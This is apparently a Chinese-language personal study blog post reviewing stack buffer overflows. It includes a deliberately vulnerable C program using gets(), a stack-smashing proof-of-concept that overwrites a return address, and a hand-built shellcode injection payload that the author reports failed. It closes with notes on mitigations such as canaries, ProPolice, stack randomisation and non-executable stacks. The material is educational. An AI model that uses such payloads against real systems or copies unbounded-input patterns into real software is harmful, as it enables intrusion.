Silver的二进制学习记(1):复习字符串漏洞
Last updated:Dec.27, 2015 CST 02:20:23
0x00 复习对象
- 栈粉碎
- 代码注入
以及有关内容
0x01 成因
- 缓冲区长度<填入数据长度
- 无效的边界检查
- 对库函数的错误调用
0x02 基础复习
函数调用和返回流程
调用
1. PUSH EIP
2. 控制权转移(置入新的EIP)
3. 保存现场:PUSH EBP
4. MOV EBP,ESP
4. 分配内存:SUB ESP,0X14
返回
1. 收回内存:MOV ESP, EBP
2. 恢复现场:POP EBP
3. 控制权交还
内存管理
- 帧和栈
- 临时变量会存储在EBP-offset_address
- ret时候要用的EIP会在
EBP+sizeof(EBP)
处 - 覆盖这个地址可以实现返回时控制权的转移
0x03 栈粉碎
有漏洞的程序
bool verify{
char buff[12]="";
buff=gets();
if(!strcmp(buff,"password"))
return true;
else
return false;
}
int main(void)
{
int state=verify();
if ( !state )
puts("Oops!");
else
puts("Good!"); //0x080484f3
return 0;
}
POC:
#!/bin/sh
echo -ne "123412341234123412341234xf3x84x04x08" | ./vul
#extra bytes might caused by align
结果:
[[email protected] stack_smashing]$ ./stack_smashing_command.sh
Show me your name:
Good boy!
./stack_smashing_command.sh: line 2: 5432 Done echo -ne '123412341234123412341234xf3x84x04x08'
5433 Segmentation fault | ./vulnerable
分析:破坏了压进去的EBP(?)
(今天听吴神说过残像攻击,可能有用,mark下)
0x04 代码注入
漏洞同上
POC:
#!/bin/sh
#following are explain. of this exploit
# ADDR DATA MEANING
#0xFFFFD17C 80 D1 FF FF the address of code
#0xFFFFD180 31 C0 XOR eax, eax
#0xFFFFD182 A3 9F D1 FF FF MOV 0xFFFFD19F, EAX //SET THIS TO NULL
#0xFFFFD187 B0 0B MOV AL, 0X0B
#0xFFFFD189 BB A3 D1 FF FF MOV EBX, 0xFFFFD1A3 //Arg[1]
#0xFFFFD18E B9 9B D1 FF FF MOV ECX, 0xFFFFD19B //Arg[2]
#0xFFFFD193 8B 15 9F D1 FF FF MOV EDX, 0xFFFFD19F //Arg[3]
#0xFFFFD199 CD 80 INT 80 //EXECUTE!
#0xFFFFD19B 9F D1 FF FF pointer to a null str
#0xFFFFD19F "fdru" a string which will be nulled
#0xFFFFD1A3-D1AF command /usr/bin/cal
echo -ne '111122223333444455556666x80xd1xffxffx31xc0xa3x9fxd1xffxffxb0x0bxbbxa3xd1xffxffxb9x9bxd1xffxffx8bx15x9fxd1xffxffxcdx80xa3xd1xffxffx66x64x72x75x2fx75x73x72x2fx62x69x6ex2fx63x61x6cx00' > exp_with_mess.bin
#I WILL NEVER LOOK UP INTEL'S TABLE TO ASS. THIS ASSHOLE
#NEVER!!!
结果:失败
[[email protected] stack_smashing]$ ./vul < exp_with_mess.bin
Segmentation fault
分析:使用固定地址,且未关闭栈随机化(?)
Question:为什么XOR EAX,EAX
是31 C0
?
0x05 弧注入
控制流转移;巧妙控制压进去的帧指针===>调用链
0x06 缓解策略
- 对攻击的检测
- 设立哨位
- 目标:栈粉碎攻击
- 方法:置于缓冲区边缘,返回时检查是否被修改。检测到改变即表示存在栈粉碎攻击
- 要求:绝对随机的canaries或难以插入的canaries
- 缺陷:无法保护对变量的修改;并不能阻止溢出;不能完全阻止对栈内EIP的覆盖
- 对最后一点的对策:ramdon xor canaries---要求canary绝对保密
- 运行时的边界检查
- aka.: 和Java一样慢
- 设立哨位
- 阻止攻击
- 栈粉碎保护器(ProPolice)
- 变量重排
- GCC的一个拓展
- 栈随机化
- 并不能阻止相对地址
- 不可执行的栈
- 潜在的兼容性风险
- 栈粉碎保护器(ProPolice)
- 减少风险
- 最小特权原则
- 使用安全的库函数
- 谨防队友坑
0x07 参考
《C和C++安全编码》
FROM :blog.iret.xyz | Author:blog.iret.xyz
介绍 概述 unsorted bin在堆题中常用于泄露libc地址,通过unsorted bin可以向任意一个地址写入一个不可控的大数字,使用前提是需要能够控制unsorted bin中chunk的bk指针。 下面介绍原理前先复习下有关unsorted bin…
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论